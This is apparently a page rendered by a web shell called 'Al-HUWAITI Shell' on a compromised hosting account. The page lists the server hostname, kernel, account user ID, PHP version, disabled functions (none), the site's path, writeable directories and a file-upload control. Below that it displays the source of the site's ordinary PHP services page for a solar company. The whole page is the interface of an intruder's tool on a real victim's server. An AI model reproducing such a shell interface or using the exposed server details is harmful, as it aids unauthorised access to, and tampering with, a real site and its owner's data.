Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/solarboardlimited.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/solarboardlimited.com/public_html/services.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']);
$page_title = "Services";
$page_header = "services_header.jpg";
include("header.php"); ?>
<title><?php echo $company_name; ?> - <?php echo $page_title; ?></title>
<?php include("page_header.php"); ?>


        <!-- service area -->
        <div class="service-area bg py-100">
            <div class="container">
                <div class="row">
                    <div class="col-lg-6 mx-auto">
                        <div class="site-heading text-center wow fadeInDown" data-wow-delay=".25s">
                            <span class="site-title-tagline"><i class="far fa-solar-panel"></i> Services</span>
                            <h2 class="site-title">Premium Solar and Inverter Services</h2>
                            <div class="heading-divider"></div>
                        </div>
                    </div>
                </div>
                <div class="row g-4 wow fadeInUp" data-wow-delay=".25s">
                <?php 
$service_icons = ["solar.svg","wind.svg","install-2.svg","install.svg","hydraulic.svg","fossil.svg","renewable.svg","hybrid.svg"];      
?>
<?php
	$stmt_ser = $con -> prepare("SELECT unique_id,title,preamble,picture1 FROM services"); 
	$stmt_ser -> execute(); 
	$stmt_ser -> store_result(); 
	$stmt_ser -> bind_result($ser_id,$service_head,$service_preamble,$picture); 
	$numrows_ser = $stmt_ser -> num_rows();
	if($numrows_ser > 0){
		while ($stmt_ser -> fetch()) { 
            $service_preamble_exerpt = substr($service_preamble,0,70);
         // Get a random key
        $randomKey = array_rand($service_icons);
        // Get the random value
        $randomItem = $service_icons[$randomKey];   
?>
<div class="col-md-6 col-lg-3">
<div class="service-item">
    <span class="count"></span>
    <div class="service-img">
        <img src="site_img/<?php echo "services" ?>/<?php echo $picture ?>" style="height:200px;object-fit:cover;">
    </div>
    <div class="service-icon">
        <img src="assets/img/icon/<?= $randomItem ?>">
    </div>
    <div class="service-content">
        <h4 class="service-title">
        <a href="details.php?u=<?= $ser_id ?>&title=services"><?php echo $service_head; ?></a>
        </h4>
        <p class="service-text">
        <?php echo $service_preamble_exerpt; ?>
        </p>
        <a href="details.php?u=<?= $ser_id ?>&title=services" class="theme-btn">Learn More<i
                class="fas fa-arrow-right"></i></a>
    </div>
</div>
</div>
<?php } } ?>
                </div>
            </div>
        </div>
        <!-- service area end -->

    </main>
<?php include("footer.php"); ?>




Al-HUWAITI Shell